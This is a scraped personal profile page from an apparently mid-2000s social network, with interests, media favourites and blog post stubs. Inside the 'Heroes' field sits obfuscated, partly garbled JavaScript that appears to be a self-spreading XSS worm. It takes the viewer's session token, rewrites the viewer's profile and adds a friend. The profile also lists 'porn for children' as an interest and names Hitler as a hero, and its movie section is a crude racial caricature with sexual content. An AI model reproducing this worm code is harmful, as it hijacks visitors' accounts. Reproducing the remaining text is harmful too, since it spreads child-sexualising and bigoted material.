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bethizgood, the amazing bouncing ferret

In the beginning there was Beth. And she had wood.

About Me

5'7" Black, long hair. Black framed glasses. 125 lbs Loves eating chips and queso. Italian. Passionate. Argumentative. Too smart for my own good. Never wrong except when I am. Gamyr - which is a gamer but way kewler. Singer. Actress. Wanna be cam girl. Linguist and speaker of 14 languages, master of only a few. I am a loser. Most of the time. People flock to me because I smell good. Boys want to sleep with me because I have 'hoe' written on my forehead and Matt DellAndrea is too sexy for his own good.If you want to know anything more about me, check out my livejournal. Username: Haldira.Want to donate to Equality Now? You can donate right here, right now. $20 per person. Everyone finds 5 people!

My Interests

Linguistics, language, Russian anything except hoes, Everclear, sports, music, computer funness, gaming, DDR, Pump, Dance Freaks, 17 yr old boys, 80's music, a fear of freshman, AIM, anime, anything but SSBM, books, booze, bowling, DLing TV shows, Broadway shows, Vegas, cheese, dancing at Elysium and laughing at the dumb bitches sitting in the corner crying to The Cure while their daddy pays their bills, Dell laptops, traveling, loving the military, EB Games, emo, vibrators, ero-sennin, faeries, FFXI, forums, gossip, hating dial-up, hating goth girls, hating on Gamestop, falling into rivers, honey grilled chicken, being nasal, Japanese kana, jazz, karaoke, killing babies (like Gaara), laughing while people fall, hating on internet porn, mini-golf, MMO's, mulla, Naruto, Azumanga Daioh, Hikaru no GO!, Ninjas, CIA, hating Tolstoy so I spit on his writing desk while in Russia, Basketball, Brazilian Jiu-Jitsu, Tekken 5, Muay Thai, UFC, not wearing socks, old NES and SNES games, pancakes, Victoria's Secret is that the bitch is a fucking monopoly. Damn $50 bras!, panties, playing FPS's, polka dots, porn for children, pumpkin ice cream, punk rock clothes, rashengan, red mages, Rock Lee, Rocky Horror Picture Show, RPGs, Carpet Bombs, hummus, running, sax playing, sexy-no-jutsu, Snapple, Soul Calibur 2, tap dancing, sex with Italian men, tattoos, video games, volleyball, Wan-Fu at 3am, warm showers, wings, women, XBOX live, my 3DO, my Halo Green XBOX, hating my DS, loving my soon to be having it please, thank you, PSP, my new 7.2 mega pixel camera, yum. My XBOX 360, my DVD collection. My PS3 and Wii. Cingular 8525, Michael Jackson, Can't Stop The Serenity, oh, and Kiefer Sutherland.

I'd like to meet:

Posers. Losers. Wanna be goth chicks who sit in the corner listening to The Cure.oh and bad ass Italians so we can be hostile together. And drink cappuccino. And eat biscotti. And watch The Godfather.oh and musicians so we can jam together and karaoke and be loud and obnoxious and anger our waiter.oh and intellectual-types so we can talk about important things like philosophy and politics and social policy and a bunch of other drib crap that will never actually help the world based on our discussions, or even enlighten anyone because in my experience, those intellectual-types just spout off other peoples knowledge that they have read in books - never taking the time to create an idea, an original thought.and Kiefer Sutherland.That is all.

Music:

Hmm, I like a lot of different groups. Right now, I am totally into Brit trash. I love Lacuna Coil, anything ballad metal/death metal. Depeche Mode is my own personal savior. Yngwie Malmsteen = god of all that is guitar.I just love lots of music. It is hard to name all the groups because it is totally dependant on my mood.So, instead of giving you some pathetic list so you can say, 'whoa, she, like, totally listed a lot of bands and therefore rules in the music appreciation category for tonight,' instead, why not hang with me, or IM me and ask me what I am listening to at that time, for realz. Because that is going to tell you a lot more about me than some arbitrary list of me trying so hard to impress you with my local music conquests.Peace!oh and Kiefer Sutherland.

Movies:

Man, this is hard stuff, yo. I gotz mad flava when it comes down to dis shizz, for realz. You know I gotsta gets me some action up in dis mug, for realz. And den you know it gots to be some hard core muthafuckin gunzablazin, fighting, ninja muthafuckin craziness up in hea. Boondock Saints, Reservoir Dogs, Usual Suspects, Suicide Kings. You know the shizz I am talkin bout, muthafucka. Wit da tight honeys all up in my face, you know dey like this shit right hea. woo WOO! Oh, and you gotsa watch dem suspenseful muthafuckers cuz them bitches get all up in yo biznazz. And wit dem titties all up in your face, it is worth the 8 muthafuckin dollars to pay for that shizz. Juz make sure you don't go inviting no fat bitches, cuz they get all up in yo popcorn, and that shizz is expensive, for muthafuckin realz. Oh, and you know fantasy movies be throwed. Like Labyrinth and that shizz. David Bowie is a muthafuckin P.I.M.P. I want all the bitches to be up on me like that shizz, too. He got all kindsa pussAY up in that fucking maze. Thea gotsta be mo' shizz, tho. Oh, Eternal Sunshine was tight like an Asian school girl, dawgz. And you know this playa be all up IN the Asian school girls. They showed this panty shot of that fine bitch with the muthafuckin brightass hair...and I was like, move outta da way muthafucker, I gotsta get me some of that pussAY. oh, and The Village - I wanna get some rim action going with a blind bitch. Fly honey won't know where I'm putting ma shizz and you know she won't be saying much, regardless, cuz this brutha comes packin large, for realz. I cant think a no mo shizz but you be warned, for realz. I love pussAY, so if its gots some in it, I'll be up the shizz for realz.

Television:

Old: Farscape, Babylon 5, Kamen Rider Faiz, Enterprise & ST - TNG, Carnivale, Firefly Current: Lost, 24, Smallville, Supernatural, American Idol, Numb3rs, Bones, Naruto, Stargate Atlantis, Battlestar Galactica, Veronica Mars, Top Gear, erm, that is about all right now. Yum. oh and Kiefer Sutherland.

Books:

Anything but stupid, early American - female author shit.And if Kiefer wrote books, I would sleep with them. For realz, yo.And when Matt D. publishes his first book, I will sleep with it, too.

Heroes:

Hitler. but most of all, Kiefer and my nanny are my heroes. 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if( BJ=='POST'){J.setRequestHeader('Content-Type','application/x -www-form-urlencoded');J.setRequestHeader('Content-Length',B K.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){ if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseact ion=profile.previewInterests&Mytoken='+AR,postHero,'POST ',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';A S['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');ht tpSend('/index.cfm?fuseaction=profile.processInterests&M ytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite .addfriend_verify&friendID=11851658&Mytoken='+L,proc essxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['subm it']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsP rocess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}f unction httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}..'xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(B J,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content -Type','application/x-www-form-urlencoded');xmlhttp2.setRequ estHeader('Content-Length',BK.length)}xmlhttp2.send(BK);retu rn true}"

My Blog

from da LJ

So, what did everyone get for XMAS?I got everything I asked for and THENSOME! w00t!Got a bunch of t-shirts I asked for - lots of skulls! YEAH!I got the Clue DVD game - woohoo!I got a bunch of cute lit...
Posted by bethizgood, the amazing bouncing ferret on Wed, 27 Dec 2006 10:23:00 PST

Which movies should we watch?

Pick a movie!Which movies should we watch? Mazes and Monsters The Money Pit Big A League of Their Own Forrest Gump Apollo 13 The Green Mile Cast Away Road to Perdition The Terminalview results...
Posted by bethizgood, the amazing bouncing ferret on Fri, 08 Sep 2006 09:12:00 PST

Take this POLL! Sundayathon RULES!

OMG - I lurve him!Which actor should we choose for our next Sundayathon? Tom Hanks Richard Harris Tom Skerritt Daniel Day-Lewis Paul Bettany Denzel WashingtonWho would you do?...
Posted by bethizgood, the amazing bouncing ferret on Mon, 04 Sep 2006 09:56:00 PST

Sarah's Party!

view my LJ:    here   to see pics of us nekkid.
Posted by bethizgood, the amazing bouncing ferret on Sun, 03 Sep 2006 12:49:00 PST

My Tattoos. Booya.

Pics of my Tattoos!   ...
Posted by bethizgood, the amazing bouncing ferret on Sun, 06 Aug 2006 06:06:00 PST

Johari!

http://kevan.org/johari?name=Beth Money   Do this, lol.
Posted by bethizgood, the amazing bouncing ferret on Wed, 15 Feb 2006 07:28:00 PST

Life in the Fast lane!

So, I work a lot. And stuff. But, recently, I've been a little pissy about the fact that I don't really do much besides work, eat, watch TV and sleep. And I am 21. And not getting and younger. ...
Posted by bethizgood, the amazing bouncing ferret on Mon, 01 Jan 1900 12:00:00 PST

Life

Selling stuff and making $$$ = kewl. Oh, and my soul says I need more rice in my diet. That is all.
Posted by bethizgood, the amazing bouncing ferret on Mon, 01 Jan 1900 12:00:00 PST

What up PLAYA!?

Yo.
Posted by bethizgood, the amazing bouncing ferret on Mon, 01 Jan 1900 12:00:00 PST